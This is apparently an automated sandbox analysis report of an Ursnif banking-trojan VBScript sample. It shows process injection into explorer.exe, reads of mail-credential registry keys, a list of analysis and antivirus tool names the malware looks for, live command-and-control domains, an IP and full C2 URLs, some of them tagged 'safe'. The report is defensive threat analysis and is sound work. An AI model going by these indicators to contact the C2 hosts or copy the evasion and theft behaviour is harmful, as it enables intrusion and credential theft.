Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\control.exe Code function: 35_2_0008C164 CreateMutexExA,GetUserNameA, 35_2_0008C164
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
AV process strings found (often used to terminate AV products)
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: procmon.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: tcpview.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: wireshark.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: avz.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: cports.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: lordpe.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: icesword.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: ollydbg.exe
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: regshot.exe

Stealing of Sensitive Information:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000005.00000003.726757645.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727219097.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.729332046.000000000530B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727028559.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.828135151.000000000510F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727067150.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.903821312.0000000002B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.886705349.0000000000B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727201837.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.726909604.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.905558727.0000000000AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.772246941.000000000520D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1096144561.000001B4FAD4E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.913163310.0000017896F0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727174189.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.912383715.000000000009E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727239812.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3424, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4540, type: MEMORY
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5220, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5764, type: MEMORY
Tries to steal Mail credentials (via file access)
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000005.00000003.726757645.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727219097.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.729332046.000000000530B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727028559.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.828135151.000000000510F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727067150.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.903821312.0000000002B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.886705349.0000000000B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727201837.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.726909604.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.905558727.0000000000AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.772246941.000000000520D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1096144561.000001B4FAD4E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.913163310.0000017896F0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727174189.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.912383715.000000000009E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.727239812.0000000005488000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3424, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4540, type: MEMORY
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5220, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5764, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 321725 Sample: 1qdMIsgkbwxA.vbs Startdate: 23/11/2020 Architecture: WINDOWS Score: 100 69 resolver1.opendns.com 2->69 83 Found malware configuration 2->83 85 Antivirus detection for dropped file 2->85 87 Multi AV Scanner detection for dropped file 2->87 89 12 other signatures 2->89 9 mshta.exe 19 2->9         started        12 wscript.exe 2 7 2->12         started        15 control.exe 2->15         started        17 2 other processes 2->17 signatures3 process4 file5 99 Suspicious powershell command line found 9->99 19 powershell.exe 2 32 9->19         started        61 C:\Users\user\AppData\Local\...\onerous.tar, PE32 12->61 dropped 63 C:\Users\user\AppData\Local\...\embezzle.zip, Zip 12->63 dropped 101 Benign windows process drops PE files 12->101 103 VBScript performs obfuscated calls to suspicious functions 12->103 105 Deletes itself after installation 12->105 113 2 other signatures 12->113 107 Changes memory attributes in foreign processes to executable or writable 15->107 109 Writes to foreign memory regions 15->109 111 Allocates memory in foreign processes 15->111 115 3 other signatures 15->115 23 rundll32.exe 15->23         started        25 iexplore.exe 30 17->25         started        28 iexplore.exe 30 17->28         started        30 iexplore.exe 30 17->30         started        signatures6 process7 dnsIp8 53 C:\Users\user\AppData\Local\...\zyvn03im.0.cs, UTF-8 19->53 dropped 55 C:\Users\user\AppData\...\5ya1ligq.cmdline, UTF-8 19->55 dropped 91 Injects code into the Windows Explorer (explorer.exe) 19->91 93 Writes to foreign memory regions 19->93 95 Modifies the context of a thread in another process (thread injection) 19->95 97 3 other signatures 19->97 32 explorer.exe 19->32 injected 36 csc.exe 19->36         started        39 csc.exe 19->39         started        41 conhost.exe 19->41         started        71 api10.laptok.at 47.241.19.44, 49738, 49739, 49771 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC United States 25->71 73 192.168.2.1 unknown unknown 30->73 file9 signatures10 process11 dnsIp12 65 c56.lepini.at 32->65 67 api3.lepini.at 32->67 75 Tries to steal Mail credentials (via file access) 32->75 77 Changes memory attributes in foreign processes to executable or writable 32->77 79 Writes to foreign memory regions 32->79 81 5 other signatures 32->81 43 RuntimeBroker.exe 32->43 injected 45 RuntimeBroker.exe 32->45 injected 47 cmd.exe 32->47         started        57 C:\Users\user\AppData\Local\...\5ya1ligq.dll, PE32 36->57 dropped 49 cvtres.exe 36->49         started        59 C:\Users\user\AppData\Local\...\zyvn03im.dll, PE32 39->59 dropped 51 cvtres.exe 39->51         started        file13 signatures14 process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
47.241.19.44
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false

Private
IP
192.168.2.1

Contacted Domains

Name IP Active
c56.lepini.at 47.241.19.44 true
resolver1.opendns.com 208.67.222.222 true
api3.lepini.at 47.241.19.44 true
api10.laptok.at 47.241.19.44 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://api10.laptok.at/api1/lnky_2BCA00/qgKlpnuL6qqwWj/W6VQ6Sik97XOa0BNWrb0C/keiyUVxuATj3E4_2/B_2BL_2FugJJ4Da/e7_2B4XLfQlvJrZ9Le/WhpxrI8Qq/A9BYlHAq1pwRqOmJTzam/mWVelK2_2BYK1zvhvqK/fXbmIkxvhcADgSIQiDjWz8/yPKK_2B5D5OGK/5zsDFW_2/FB8d_2FomEKPNCxkvLH0E2Y/aGMQdayWN4/Np1rmkye3WmvYQxxa/_2B9MSj81d1r/vMbKOV0Oc2Z/w8Oet7rXw8d8w_/0A_0DTjqjqAs4lYaBYm_2/Bc9aaErU2YqC55qH/21nD1bQOJUIFPr2/NUHbqYXczyTGkooUru/1_2FbIo false
  • Avira URL Cloud: safe
 unknown
http://api3.lepini.at/api1/Ppg0SH3ST3F/gucfDC73uafDmu/gxsngv0uRNgnUVK0QlHnA/X7DKkb5CZMRqAKlB/hMyibbLULRMdGzW/8aUaFmxZTQkn_2FN0N/XmgfYzKyl/ncmoRgHFL7cO3LUkPRQT/g5v0Ce65HovCMd9Lxtb/m01hA6EHX5Yso_2FMN9boY/wk_2Fij2hlpZj/sPC5Voax/EuORPnJSkBBgKdRWlcJHPqP/ZhmDzQyS5Z/3_2BTW42M24D_2FIQ/Dlj_2Bz0fn0e/_2FDhNsL1LB/juis8Ki_0A_0DL/kKdGS_2FHG_2B7hGixY1_/2FN_2FOOamFpN_2F/odmYHfyCeWNV/9ztJbtN false
  • Avira URL Cloud: safe
 unknown